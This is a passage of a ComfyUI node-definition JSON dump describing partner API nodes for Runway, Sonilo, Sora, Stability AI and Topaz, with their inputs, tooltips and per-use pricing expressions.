["reference_image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayTextToImageNode", "display_name": "Runway Text to Image", "description": "Generate an image from a text prompt using Runway's Gen 4 model. You can also include reference image to guide the generation.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/image/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.11}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayAleph2VideoToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Describes what should appear in the output (1-1000 characters).", "default": "", "multiline": true}], "video": ["VIDEO", {"tooltip": "Input video to edit. Must be 2-30 seconds at 30 fps or lower."}], "seed": ["INT", {"tooltip": "Random seed for generation", "default": 0, "min": 0, "max": 4294967295, "step": 1, "control_after_generate": true, "display": "number"}], "public_figure_threshold": ["COMBO", {"tooltip": "Content moderation for recognizable public figures.", "default": "low", "multiselect": false, "options": ["auto", "low"]}]}, "optional": {"keyframes": ["RUNWAY_ALEPH2_KEYFRAME", {"tooltip": "Guidance images anchored to the input video, from Aleph2 Keyframe nodes (up to 5). Use keyframes or prompt images, not both."}], "prompt_images": ["RUNWAY_ALEPH2_PROMPT_IMAGE", {"tooltip": "Guidance images anchored to the output video, from Aleph2 Prompt Image nodes (up to 5). Use keyframes or prompt images, not both."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "video", "seed", "public_figure_threshold"], "optional": ["keyframes", "prompt_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayAleph2VideoToVideoNode", "display_name": "Runway Aleph2 Video to Video", "description": "Edit a video with a text prompt using Runway's Aleph2 model. Aleph2 transforms your footage (restyle, relight, add or remove elements, change the viewpoint) while keeping the original motion and timing; the output resolution matches the input video, which must be 2-30 seconds at 30 fps or lower. Optionally steer the edit with either keyframes (anchored to the input video) or prompt images (anchored to the output video) - use one or the other, not both.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.4004, \"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayAleph2KeyframeNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The guidance image to apply at the chosen moment of the input video."}], "timing": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to place this image on the input video's timeline.", "options": [{"key": "Absolute time (seconds)", "inputs": {"required": {"seconds": ["FLOAT", {"tooltip": "Time in seconds from start of the input video where this image applies.", "default": 0.0, "min": 0.0, "max": 30.0, "step": 0.1, "display": "number"}]}}}, {"key": "Fraction of duration (0.0-1.0)", "inputs": {"required": {"fraction": ["FLOAT", {"tooltip": "Where in the input video this image applies, as a fraction of its duration (0.0 = start, 1.0 = end).", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}]}}}]}]}, "optional": {"keyframes": ["RUNWAY_ALEPH2_KEYFRAME", {"tooltip": "Optional earlier keyframes to chain with this one."}]}}, "input_order": {"required": ["image", "timing"], "optional": ["keyframes"]}, "is_input_list": false, "output": ["RUNWAY_ALEPH2_KEYFRAME"], "output_is_list": [false], "output_name": ["keyframes"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayAleph2KeyframeNode", "display_name": "Runway Aleph2 Keyframe", "description": "Anchor a guidance image to a moment of the input (source) video, so Aleph2 steers the edit at that point of your footage. Connect this to the 'keyframes' input of the Runway Aleph2 Video to Video node; chain several together (up to 5) via the optional 'keyframes' input below.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RunwayAleph2PromptImageNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "The guidance image to place at the chosen moment of the output video."}], "position": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "How to place this image on the output video's timeline.", "options": [{"key": "Absolute time (seconds)", "inputs": {"required": {"seconds": ["FLOAT", {"tooltip": "Time in seconds from start of the output video where this image applies.", "default": 0.0, "min": 0.0, "max": 30.0, "step": 0.1, "display": "number"}]}}}, {"key": "Fraction of duration (0.0-1.0)", "inputs": {"required": {"fraction": ["FLOAT", {"tooltip": "Where in the output video this image applies, as a fraction of its duration (0.0 = start, 1.0 = end).", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}]}}}]}]}, "optional": {"prompt_images": ["RUNWAY_ALEPH2_PROMPT_IMAGE", {"tooltip": "Optional earlier prompt images to chain with this one."}]}}, "input_order": {"required": ["image", "position"], "optional": ["prompt_images"]}, "is_input_list": false, "output": ["RUNWAY_ALEPH2_PROMPT_IMAGE"], "output_is_list": [false], "output_name": ["prompt_images"], "output_tooltips": [null], "output_matchtypes": null, "name": "RunwayAleph2PromptImageNode", "display_name": "Runway Aleph2 Prompt Image", "description": "Anchor a guidance image to a moment of the output (result) video, to guide what the edited video looks like at that point. Connect this to the 'prompt_images' input of the Runway Aleph2 Video to Video node; chain several together (up to 5) via the optional 'prompt_images' input below.", "python_module": "comfy_api_nodes.nodes_runway", "category": "partner/video/Runway", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SoniloVideoToMusic": {"input": {"required": {"video": ["VIDEO", {"tooltip": "Input video to generate music from. Maximum duration: 6 minutes."}], "prompt": ["STRING", {"tooltip": "Optional text prompt to guide music generation. Leave empty for best quality - the model will fully analyze the video content.", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "Seed for reproducibility. Currently ignored by the Sonilo service but kept for graph consistency.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "SoniloVideoToMusic", "display_name": "Sonilo Video to Music", "description": "Generate music from video content using Sonilo's AI model. Analyzes the video and creates matching music.", "python_module": "comfy_api_nodes.nodes_sonilo", "category": "partner/audio/Sonilo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.009,\"format\":{\"suffix\":\"/second\"}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SoniloTextToMusic": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the music to generate.", "default": "", "multiline": true}], "duration": ["INT", {"tooltip": "Target duration in seconds. Maximum: 6 minutes.", "default": 30, "min": 1, "max": 360}], "seed": ["INT", {"tooltip": "Seed for reproducibility. Currently ignored by the Sonilo service but kept for graph consistency.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "duration", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "SoniloTextToMusic", "display_name": "Sonilo Text to Music", "description": "Generate music from a text prompt using Sonilo's AI model.", "python_module": "comfy_api_nodes.nodes_sonilo", "category": "partner/audio/Sonilo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.0025 * widgets.duration}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenAIVideoSora2": {"input": {"required": {"model": ["COMBO", {"default": "sora-2", "multiselect": false, "options": ["sora-2", "sora-2-pro"]}], "prompt": ["STRING", {"tooltip": "Guiding text; may be empty if an input image is present.", "default": "", "multiline": true}], "size": ["COMBO", {"default": "1280x720", "multiselect": false, "options": ["720x1280", "1280x720", "1024x1792", "1792x1024"]}], "duration": ["COMBO", {"default": 8, "multiselect": false, "options": [4, 8, 12]}]}, "optional": {"image": ["IMAGE", {}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "size", "duration"], "optional": ["image", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenAIVideoSora2", "display_name": "OpenAI Sora - Video (DEPRECATED)", "description": "OpenAI video and audio generation.\n\nDEPRECATION NOTICE: OpenAI will stop serving the Sora v2 API in September 2026. This node will be removed from ComfyUI at that time.", "python_module": "comfy_api_nodes.nodes_sora", "category": "partner/video/Sora", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "size", "type": "COMBO"}, {"name": "duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $size := widgets.size;\n $dur := widgets.duration;\n $isPro := $contains($m, \"sora-2-pro\");\n $isSora2 := $contains($m, \"sora-2\");\n $isProSize := ($size = \"1024x1792\" or $size = \"1792x1024\");\n $perSec :=\n $isPro ? ($isProSize ? 0.5 : 0.3) :\n $isSora2 ? 0.1 :\n ($isProSize ? 0.5 : 0.1);\n {\"type\":\"usd\",\"usd\": $round($perSec * $dur, 2)}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityStableImageUltraNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defineselements, colors, and subjects will lead to better results. To control the weight of a given word use the format `(word:weight)`,where `word` is the word you'd like to control the weight of and `weight`is a value between 0 and 1. For example: `The sky was a crisp (blue:0.3) and (green:0.8)`would convey a sky that was blue and green, but more green than blue.", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of generated image.", "default": "1:1", "multiselect": false, "options": ["1:1", "16:9", "9:16", "3:2", "2:3", "5:4", "4:5", "21:9", "9:21"]}], "style_preset": ["COMBO", {"tooltip": "Optional desired style of generated image.", "advanced": true, "multiselect": false, "options": ["None", "3d-model", "analog-film", "anime", "cinematic", "comic-book", "digital-art", "enhance", "fantasy-art", "isometric", "line-art", "low-poly", "modeling-compound", "neon-punk", "origami", "photographic", "pixel-art", "tile-texture"]}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"image": ["IMAGE", {}], "negative_prompt": ["STRING", {"tooltip": "A blurb of text describing what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}], "image_denoise": ["FLOAT", {"tooltip": "Denoise of input image; 0.0 yields image identical to input, 1.0 is as if no image was provided at all.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "style_preset", "seed"], "optional": ["image", "negative_prompt", "image_denoise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityStableImageUltraNode", "display_name": "Stability AI Stable Image Ultra", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.08}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityStableImageSD_3_5Node": {"input": {"required": {"prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defines elements, colors, and subjects will lead to better results.", "default": "", "multiline": true}], "model": ["COMBO", {"multiselect": false, "options": ["sd3.5-large", "sd3.5-medium"]}], "aspect_ratio": ["COMBO", {"tooltip": "Aspect ratio of generated image.", "default": "1:1", "multiselect": false, "options": ["1:1", "16:9", "9:16", "3:2", "2:3", "5:4", "4:5", "21:9", "9:21"]}], "style_preset": ["COMBO", {"tooltip": "Optional desired style of generated image.", "advanced": true, "multiselect": false, "options": ["None", "3d-model", "analog-film", "anime", "cinematic", "comic-book", "digital-art", "enhance", "fantasy-art", "isometric", "line-art", "low-poly", "modeling-compound", "neon-punk", "origami", "photographic", "pixel-art", "tile-texture"]}], "cfg_scale": ["FLOAT", {"tooltip": "How strictly the diffusion process adheres to the prompt text (higher values keep your image closer to your prompt)", "default": 4.0, "min": 1.0, "max": 10.0, "step": 0.1}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"image": ["IMAGE", {}], "negative_prompt": ["STRING", {"tooltip": "Keywords of what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}], "image_denoise": ["FLOAT", {"tooltip": "Denoise of input image; 0.0 yields image identical to input, 1.0 is as if no image was provided at all.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "aspect_ratio", "style_preset", "cfg_scale", "seed"], "optional": ["image", "negative_prompt", "image_denoise"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityStableImageSD_3_5Node", "display_name": "Stability AI Stable Diffusion 3.5 Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $contains(widgets.model,\"large\")\n ? {\"type\":\"usd\",\"usd\":0.065}\n : {\"type\":\"usd\",\"usd\":0.035}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityUpscaleConservativeNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defines elements, colors, and subjects will lead to better results.", "default": "", "multiline": true}], "creativity": ["FLOAT", {"tooltip": "Controls the likelihood of creating additional details not heavily conditioned by the init image.", "default": 0.35, "min": 0.2, "max": 0.5, "step": 0.01}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Keywords of what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "creativity", "seed"], "optional": ["negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityUpscaleConservativeNode", "display_name": "Stability AI Upscale Conservative", "description": "Upscale image with minimal alterations to 4K resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.4}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityUpscaleCreativeNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "What you wish to see in the output image. A strong, descriptive prompt that clearly defines elements, colors, and subjects will lead to better results.", "default": "", "multiline": true}], "creativity": ["FLOAT", {"tooltip": "Controls the likelihood of creating additional details not heavily conditioned by the init image.", "default": 0.3, "min": 0.1, "max": 0.5, "step": 0.01}], "style_preset": ["COMBO", {"tooltip": "Optional desired style of generated image.", "advanced": true, "multiselect": false, "options": ["None", "3d-model", "analog-film", "anime", "cinematic", "comic-book", "digital-art", "enhance", "fantasy-art", "isometric", "line-art", "low-poly", "modeling-compound", "neon-punk", "origami", "photographic", "pixel-art", "tile-texture"]}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Keywords of what you do not wish to see in the output image. This is an advanced feature.", "advanced": true, "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "creativity", "style_preset", "seed"], "optional": ["negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityUpscaleCreativeNode", "display_name": "Stability AI Upscale Creative", "description": "Upscale image with minimal alterations to 4K resolution.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.6}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityUpscaleFastNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityUpscaleFastNode", "display_name": "Stability AI Upscale Fast", "description": "Quickly upscales an image via Stability API call to 4x its original size; intended for upscaling low-quality/compressed images.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/image/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.02}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityTextToAudio": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["stable-audio-2.5"]}], "prompt": ["STRING", {"default": "", "multiline": true}]}, "optional": {"duration": ["INT", {"tooltip": "Controls the duration in seconds of the generated audio.", "default": 190, "min": 1, "max": 190, "step": 1}], "seed": ["INT", {"tooltip": "The random seed used for generation.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}], "steps": ["INT", {"tooltip": "Controls the number of sampling steps.", "advanced": true, "default": 8, "min": 4, "max": 8, "step": 1}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["duration", "seed", "steps"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityTextToAudio", "display_name": "Stability AI Text To Audio", "description": "Generates high-quality music and sound effects from text descriptions.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/audio/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": "Audio", "has_intermediate_output": false}, "StabilityAudioToAudio": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["stable-audio-2.5"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "audio": ["AUDIO", {"tooltip": "Audio must be between 6 and 190 seconds long."}]}, "optional": {"duration": ["INT", {"tooltip": "Controls the duration in seconds of the generated audio.", "default": 190, "min": 1, "max": 190, "step": 1}], "seed": ["INT", {"tooltip": "The random seed used for generation.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}], "steps": ["INT", {"tooltip": "Controls the number of sampling steps.", "advanced": true, "default": 8, "min": 4, "max": 8, "step": 1}], "strength": ["FLOAT", {"tooltip": "Parameter controls how much influence the audio parameter has on the generated audio.", "default": 1, "min": 0.01, "max": 1.0, "step": 0.01, "display": "slider"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "audio"], "optional": ["duration", "seed", "steps", "strength"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityAudioToAudio", "display_name": "Stability AI Audio To Audio", "description": "Transforms existing audio samples into new high-quality compositions using text instructions.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/audio/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StabilityAudioInpaint": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["stable-audio-2.5"]}], "prompt": ["STRING", {"default": "", "multiline": true}], "audio": ["AUDIO", {"tooltip": "Audio must be between 6 and 190 seconds long."}]}, "optional": {"duration": ["INT", {"tooltip": "Controls the duration in seconds of the generated audio.", "default": 190, "min": 1, "max": 190, "step": 1}], "seed": ["INT", {"tooltip": "The random seed used for generation.", "default": 0, "min": 0, "max": 4294967294, "step": 1, "control_after_generate": true, "display": "number"}], "steps": ["INT", {"tooltip": "Controls the number of sampling steps.", "advanced": true, "default": 8, "min": 4, "max": 8, "step": 1}], "mask_start": ["INT", {"advanced": true, "default": 30, "min": 0, "max": 190, "step": 1}], "mask_end": ["INT", {"advanced": true, "default": 190, "min": 0, "max": 190, "step": 1}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "audio"], "optional": ["duration", "seed", "steps", "mask_start", "mask_end"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["AUDIO"], "output_is_list": [false], "output_name": ["AUDIO"], "output_tooltips": [null], "output_matchtypes": null, "name": "StabilityAudioInpaint", "display_name": "Stability AI Audio Inpaint", "description": "Transforms part of existing audio sample using text instructions.", "python_module": "comfy_api_nodes.nodes_stability", "category": "partner/audio/Stability AI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.2}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TopazImageEnhance": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["Reimagine"]}], "image": ["IMAGE", {}]}, "optional": {"prompt": ["STRING", {"tooltip": "Optional text prompt for creative upscaling guidance.", "default": "", "multiline": true}], "subject_detection": ["COMBO", {"advanced": true, "multiselect": false, "options": ["All", "Foreground", "Background"]}], "face_enhancement": ["BOOLEAN", {"tooltip": "Enhance faces (if present) during processing.", "advanced": true, "default": true}], "face_enhancement_creativity": ["FLOAT", {"tooltip": "Set the creativity level for face enhancement.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}], "face_enhancement_strength": ["FLOAT", {"tooltip": "Controls how sharp enhanced faces are relative to the background.", "advanced": true, "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "number"}], "crop_to_fill": ["BOOLEAN", {"tooltip": "By default, the image is letterboxed when the output aspect ratio differs. Enable to crop the image to fill the output dimensions.", "advanced": true, "default": false}], "output_width": ["INT", {"tooltip": "Zero value means to calculate automatically (usually it will be original size or output_height if specified).", "advanced": true, "default": 0, "min": 0, "max": 32000, "step": 1, "display": "number"}], "output_height": ["INT", {"tooltip": "Zero value means to output in the same height as original or output width.", "advanced": true, "default": 0, "min": 0, "max": 32000, "step": 1, "display": "number"}], "creativity": ["INT", {"default": 3, "min": 1, "max": 9, "step": 1, "display": "slider"}], "face_preservation": ["BOOLEAN", {"tooltip": "Preserve subjects' facial identity.", "advanced": true, "default": true}], "color_preservation": ["BOOLEAN", {"tooltip": "Preserve the original colors.", "advanced": true, "default": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image"], "optional": ["prompt", "subject_detection", "face_enhancement", "face_enhancement_creativity", "face_enhancement_strength", "crop_to_fill", "output_width", "output_height", "creativity", "face_preservation", "color_preservation"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "TopazImageEnhance", "display_name": "Topaz Image Enhance", "description": "Industry-standard upscaling and image enhancement.", "python_module": "comfy_api_nodes.nodes_topaz", "category": "partner/image/Topaz", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, 